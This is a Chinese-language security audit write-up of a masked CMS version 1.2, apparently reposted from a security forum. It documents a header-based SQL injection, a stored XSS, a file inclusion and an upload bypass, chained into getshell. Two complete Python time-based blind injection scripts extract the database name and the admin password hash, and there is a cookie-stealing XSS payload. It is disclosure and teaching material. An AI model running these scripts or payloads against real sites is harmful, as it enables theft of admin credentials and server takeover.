0x00 前言
记之前对某cms v1.2版本的代码审计,到现在已经更新了几个版本,本文提到的漏洞在最新版中均已修复。基于安全披露原则,对cms进行打码处理。
0x01 前台SQL注入
发现前台功能点有一处在线留言
对应源码处,看到会记录ip
跟进getIP()
方法,发现会从 xff 请求头获取 ip,存在一个ip伪造的问题,同时这里没有过滤
接着通过mysql::insert($data, 'feedback')
最终会被插入数据库中,我们打个断点跟一下
发送数据包,指定xff为:127.0.0.1'
可以看到127.0.0.1'
最终拼接到了 insert语句中插入数据库,造成SQL注入漏洞
不过因为这里只会返回提交失败
或者提交成功
,没有回显,我们使用时间盲注来获取数据库中数据
构造payload:127.0.0.1',sleep(5),'1')#
延时五秒成功,获取数据库名长度
编写脚本获取数据库名
#-- coding:UTF-8 --
# Author:dota_st
# Date:2022/4/15 12:38
# blog: www.wlhhlc.top
import requests
import time
url = "http://192.168.1.103:80/api/feedback/"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
data = "-----------------------------22936092383923055377108790415\r\nContent-Disposition: form-data; name=\"items\"\r\n\r\n58\r\n-----------------------------22936092383923055377108790415\r\nContent-Disposition: form-data; name=\"params1\"\r\n\r\nadmin\r\n-----------------------------22936092383923055377108790415\r\nContent-Disposition: form-data; name=\"params2\"\r\n\r\nadmin\r\n-----------------------------22936092383923055377108790415\r\nContent-Disposition: form-data; name=\"params3\"\r\n\r\[email protected]\r\n-----------------------------22936092383923055377108790415\r\nContent-Disposition: form-data; name=\"params4\"\r\n\r\nadmin\r\n-----------------------------22936092383923055377108790415\r\nContent-Disposition: form-data; name=\"params5\"\r\n\r\nadmin\r\n-----------------------------22936092383923055377108790415--\r\n"
flag = ""
for i in range(1,50):
for j in dict:
xff = f"127.0.0.1',sleep(if((substr((select database()),{i},1)=\"{j}\"),3,0)),'1')#"
print(xff)
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------22936092383923055377108790415", "X-Forwarded-for": xff, "Connection": "close", "Referer": "http://192.168.1.103/feedback/", "Upgrade-Insecure-Requests": "1"}
start = time.time()
requests.post(url, headers=headers, data=data)
end = time.time()
if end - start > 2.8:
flag += j
print(flag)
break
print("result:"+flag)
获取管理员密码
#-- coding:UTF-8 --
# Author:dota_st
# Date:2022/4/15 12:38
# blog: www.wlhhlc.top
import requests
import time
url = "http://192.168.1.103:80/api/feedback/"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
data = "-----------------------------22936092383923055377108790415\r\nContent-Disposition: form-data; name=\"items\"\r\n\r\n58\r\n-----------------------------22936092383923055377108790415\r\nContent-Disposition: form-data; name=\"params1\"\r\n\r\nadmin\r\n-----------------------------22936092383923055377108790415\r\nContent-Disposition: form-data; name=\"params2\"\r\n\r\nadmin\r\n-----------------------------22936092383923055377108790415\r\nContent-Disposition: form-data; name=\"params3\"\r\n\r\[email protected]\r\n-----------------------------22936092383923055377108790415\r\nContent-Disposition: form-data; name=\"params4\"\r\n\r\nadmin\r\n-----------------------------22936092383923055377108790415\r\nContent-Disposition: form-data; name=\"params5\"\r\n\r\nadmin\r\n-----------------------------22936092383923055377108790415--\r\n"
flag = ""
for i in range(1,50):
for j in dict:
#xff = f"127.0.0.1',sleep(if((substr((select database()),{i},1)=\"{j}\"),3,0)),'1')#"
xff = f"127.0.0.1',sleep(if((substr((select password from cms.xxcms_manager where id=1),{i},1)=\"{j}\"),3,0)),'1')#"
print(xff)
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------22936092383923055377108790415", "X-Forwarded-for": xff, "Connection": "close", "Referer": "http://192.168.1.103/feedback/", "Upgrade-Insecure-Requests": "1"}
start = time.time()
requests.post(url, headers=headers, data=data)
end = time.time()
if end - start > 2.8:
flag += j
print(flag)
break
print("result:"+flag)
拿去cmd5解密之后进入后台
最新版修复是加了一个正则判断
0x02 前台存储型XSS漏洞
同时前台在线留言功能没有进行过滤,可以直接写入xss代码
<script>alert(document.cookie)</script>
0x03 文件包含漏洞
看到这个主题配置功能点的数据(模板标题,模板描述等)之前没有在数据库中见到
config.json
文件中load_json()
json::get($file)
,继续跟require
函数进行包含。接下来的思路就是找可以修改config.json
文件的功能点。config.json
文件进行修改delSlashes()
delSlashes()
方法导致报错,而是命名为delFilter()
我们做一下修改,回滚插件代码为对应的v1.2时的情况复现当时情景
成功包含并且执行 php 代码
htmlspecialchars()
函数将<、>
实体化编码成<>
0x04 文件上传漏洞
前面的文件包含因为插件更新的缘故,所以现在无法利用。继续寻找别的漏洞点
看到一个 ueditor 编辑器,尝试附件上传 php一句话木马失败
关键判断为
upload::files($file, $this->config['filePathFormat'], 'code|zip|word|excel|powerpoint|audio|text|pdf'
upload
类的files
方法,一共有两个关键判断首先看判断一,判断文件后缀在不在$type
列表里对应的后缀,而前面我们传进来的$type=code|zip|word|excel|powerpoint|audio|text|pdf
中,code对应的后缀列表是含有.php
的
$extension
数组中$extension
数组是从数据库表中取出,没有.php
导致文件上传失败.php
后缀保存,再上传$type
参数的内容改成了null
0x05 总结
审计下来,漏洞组合凑成了一条从前台进行 getshell 的链子,现在去看修复方法也能学到其他思路,算是一次不错的审计经历。
文章来源:奇安信攻防社区(dota_st)
原文地址:https://forum.butian.net/share/1507
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读